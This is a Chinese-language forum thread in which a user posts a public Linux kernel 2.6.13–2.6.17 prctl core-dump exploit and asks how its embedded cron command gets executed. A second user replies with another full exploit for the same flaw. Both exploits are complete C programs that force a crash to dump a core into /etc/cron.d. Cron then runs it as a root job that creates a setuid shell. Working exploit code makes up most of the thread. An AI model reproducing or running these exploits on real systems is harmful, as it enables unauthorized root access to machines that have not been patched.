請(qǐng)問(wèn)這段C程序代碼里的shell是如何被執(zhí)行的？

hongmy525

今天看了看下面這段代碼，在2.6.13上可以提升權(quán)限，但是代碼里面的shell命令又是如何被執(zhí)行到的？

程序好像是利用2.6.13-2.6.17的內(nèi)核之間coredump的漏洞，把權(quán)限返回給父進(jìn)程，最終獲得權(quán)限提升

http://www.milw0rm.com/exploits/2005

1. /* Linux >= 2.6.13 prctl kernel exploit
   
2. *
   
3. * (C) Julien TINNES
   
4. *
   
5. * If you read the Changelog from 2.6.13 you've probably seen:
   
6. *  [PATCH] setuid core dump
   
7. *
   
8. * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
   
9. * user setable argument to PR_SET_DUMPABLE.
   
10. *
    
11. * This flaw allows us to create a root owned coredump into any directory.
    
12. * This is trivially exploitable.
    
13. *
    
14. */
    
15. 
    
16. #include <sys/types.h>
    
17. #include <sys/time.h>
    
18. #include <sys/resource.h>
    
19. #include <sys/prctl.h>
    
20. #include <unistd.h>
    
21. #include <stdio.h>
    
22. #include <errno.h>
    
23. #include <signal.h>
    
24. #include <stdlib.h>
    
25. #include <time.h>
    
26. 
    
27. #define CROND "/etc/cron.d"
    
28. #define BUFSIZE 2048
    
29. 
    
30. 
    
31. struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};
    
32. 
    
33. char        crontemplate[]=
    
34. "#/etc/cron.d/core suid_dumpable exploit\n"
    
35. "SHELL=/bin/sh\n"
    
36. "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
    
37. "#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";
    
38. 
    
39. char        cronstring[BUFSIZE];
    
40. char        fname[BUFSIZE];
    
41. 
    
42. struct timeval te;
    
43. 
    
44. void sh(int sn) {
    
45.         execl(fname, fname, (char *) NULL);
    
46. }
    
47.        
    
48. 
    
49. int        main(int argc, char *argv[]) {
    
50. 
    
51.         int nw, pid;
    
52. 
    
53.         if (geteuid() == 0) {
    
54.                 printf("[+] getting root shell\n");
    
55.                 setuid(0);
    
56.                 setgid(0);
    
57.                 if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
    
58.                         perror("[-] execle");
    
59.                         return 1;
    
60.                 }
    
61.         }
    
62. 
    
63.         printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");
    
64. 
    
65.         /* get our file name */
    
66.         if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
    
67.                 perror("[-] readlink");
    
68.                 printf("This is not fatal, rewrite the exploit\n");
    
69.         }
    
70. 
    
71.         if (signal(SIGUSR1, sh) == SIG_ERR) {
    
72.                 perror("[-] signal");
    
73.                 return 1;
    
74.         }
    
75.         printf("[+] Installed signal handler\n");
    
76. 
    
77.         /* Let us create core files */
    
78.         setrlimit(RLIMIT_CORE, &myrlimit);
    
79.         if (chdir(CROND) == -1) {
    
80.                 perror("[-] chdir");
    
81.                 return 1;
    
82.         }
    
83. 
    
84.         /* exploit the flaw */
    
85.         if (prctl(PR_SET_DUMPABLE, 2) == -1) {
    
86.                 perror("[-] prtctl");
    
87.                 printf("Is you kernel version >= 2.6.13 ?\n");
    
88.                 return 1;
    
89.         }
    
90. 
    
91.         printf("[+] We are suidsafe dumpable!\n");
    
92. 
    
93.         /* Forge the string for our core dump */
    
94.         nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
    
95.         if (nw >= sizeof(cronstring)) {
    
96.                 printf("[-] cronstring is too small\n");
    
97.                 return 1;
    
98.         }
    
99.         printf("[+] Malicious string forged\n");
    
100. 
     
101.         if ((pid=fork()) == -1) {
     
102.                 perror("[-] fork");
     
103.                 return 1;
     
104.         }
     
105. 
     
106.         if (pid == 0) {
     
107.                 /* This is not the good way to do it ;) */
     
108.                 sleep(120);
     
109.                 exit(0);
     
110.         }
     
111. 
     
112.         /* SEGFAULT the child */
     
113.         printf("[+] Segfaulting child\n");
     
114.         if (kill(pid, 11) == -1) {
     
115.                 perror("[-] kill");
     
116.                 return 1;
     
117.         }
     
118.         if (gettimeofday(&te, NULL) == 0)
     
119.                 printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
     
120.         sleep(120);
     
121. 
     
122.         printf("[-] It looks like the exploit failed\n");
     
123. 
     
124.         return 1;
     
125. }
     
126. 
     
127. // milw0rm.com [2006-07-12]

復(fù)制代碼

1. char        crontemplate[]=
   
2. "#/etc/cron.d/core suid_dumpable exploit\n"
   
3. "SHELL=/bin/sh\n"
   
4. "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
   
5. "#%s* * * * *        root         chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";

復(fù)制代碼

這個(gè)地方，跟著代碼調(diào)了好久好久，我還是沒(méi)有明白它是如何被執(zhí)行到的，請(qǐng)知道的朋友說(shuō)一聲，謝謝：）

[ 本帖最后由 hongmy525 于 2008-5-27 20:39 編輯 ]

Roemer

這個(gè)更直觀

1. 
   
2. #include <stdio.h>
   
3. #include <sys/time.h>
   
4. #include <sys/resource.h>
   
5. #include <unistd.h>
   
6. #include <linux/prctl.h>
   
7. #include <stdlib.h>
   
8. #include <sys/types.h>
   
9. #include <signal.h>
   
10. 
    
11. char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
    
12. 
    
13. int main() {
    
14.     int child;
    
15.     struct rlimit corelimit;
    
16.     printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    
17.     printf("By: dreyer & RoMaNSoFt\n");
    
18.     printf("[ 10.Jul.2006 ]\n\n");
    
19. 
    
20.     corelimit.rlim_cur = RLIM_INFINITY;
    
21.     corelimit.rlim_max = RLIM_INFINITY;
    
22.     setrlimit(RLIMIT_CORE, &corelimit);
    
23. 
    
24.     printf("
    
25. Creating Cron entry\n");
    
26. 
    
27.     if ( !( child = fork() )) {
    
28.         chdir("/etc/cron.d");
    
29.         prctl(PR_SET_DUMPABLE, 2);
    
30.         sleep(200);
    
31.         exit(1);
    
32.     }
    
33. 
    
34.     kill(child, SIGSEGV);
    
35. 
    
36.     printf("
    
37. Sleeping for aprox. one minute (** please wait **)\n");
    
38.     sleep(62);
    
39. 
    
40.     printf("
    
41. Running shell (remember to remove /tmp/sh when finished) ...\n");
    
42.     system("/tmp/sh -p");
    
43. }
    

復(fù)制代碼

hongmy525

這是這個(gè)內(nèi)核漏洞的其他版本，之前我沒(méi)看：）不過(guò)看了還是不明白~~

請(qǐng)問(wèn)payload 是什么時(shí)候被執(zhí)行的？

hongmy525

這是個(gè)內(nèi)核漏洞，能發(fā)到內(nèi)核版ma？